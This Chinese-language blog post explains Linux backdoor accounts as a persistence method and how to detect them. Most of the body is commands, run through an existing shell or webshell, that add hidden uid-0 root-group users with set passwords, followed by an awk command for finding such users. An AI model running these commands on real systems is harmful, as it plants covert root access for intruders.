前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Linux系统账户后门及排查

Linux系统账户后门及排查

作者头像
安全小王子
发布2022-12-11 10:48:09
2.5K0
发布2022-12-11 10:48:09
举报
文章被收录于专栏:betasec

系统账户后门是一种最为简单有效的权限维持方式。攻击者在获取目标系统权限的前提下,通过创建一个系统账户作为持久化的据点,这样可以随时通过工具连接到目标系统,达到对目标主机进行长久控制的目的。根据获取的shell模式不同,创建系统账户的方式也不同,通常shell模式可以分为交互模式和非交互模式两种情况:

(1)当shell为交互模式时创建系统账户

当获取到目标系统的shell权限具有交互模式时,攻击者和目标系统可以进行数据交互,就可以根据系统反馈的提示信息创建系统账户和设置登录口令。如下我们可以使用usersdd和passwd指令创建test账户并对该账户设置登录口令。

代码语言:javascript
复制
useradd test  #添加test账户
passwd test   #给test账户设置登录口令

也可以将test账户写入到/etc/passwd文件,然后通过passwd指令设置test系统账户的口令。

代码语言:javascript
复制
echo "test:x:0:0::/:/bin/sh" >>/etc/passwd   #添加test账户
passwdtest                            #给test账户设置登录口令

(2)当shell为非交互模式时创建系统账户

当获取到目标系统的shell权限为非交互模式时,比如:webshell等,不能获取到系统的提示信息,也不能使用vim、vi等编辑工具时,就不能直接通过passwd指令设置登录口令了。此时,我们可以使用useradd创建test用户,使用` ` 符号是存放可执行的系统命令,设置该用户的登录口令。

代码语言:javascript
复制
useradd -p `openssl passwd -1 -salt 'salt' 123456` test

通过useradd指令创建一个test系统账户,然后通过“echo -e“指令设置test系统账户的口令。

代码语言:javascript
复制
useradd test;echo -e "123456\n123456\n" |passwd test

通过useradd指令创建一个test系统账户,"$()"也可以存放命令执行语句,设置该用户的登录口令。

代码语言:javascript
复制
useradd -p "$(openssl passwd -1 123456)" test

如下是在root组创建一个test用户,设置该test用户的登录口令为123456,-u 0表示设置该用户的uid为0,-g root -G root 将用户添加到root组,-s /bin/bash 指定新建用户的shell路径。

代码语言:javascript
复制
useradd -p `openssl passwd -1 -salt 'salt' 123456` test -o -u 0 -g root -G root -s /bin/bash -d /home/test

查询当前Linux系统隐藏的系统账户后门,可以通过查询/etc/passwd文件中的新增的潜藏用户,也可以通过awk指令查询uid=0和uid>=500的用户名,如图3-1-2 awk指令查询用户名。

代码语言:javascript
复制
awk -F : '($3>=500 || $3==0){print $1}' /etc/passwd
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-09-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 betasec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档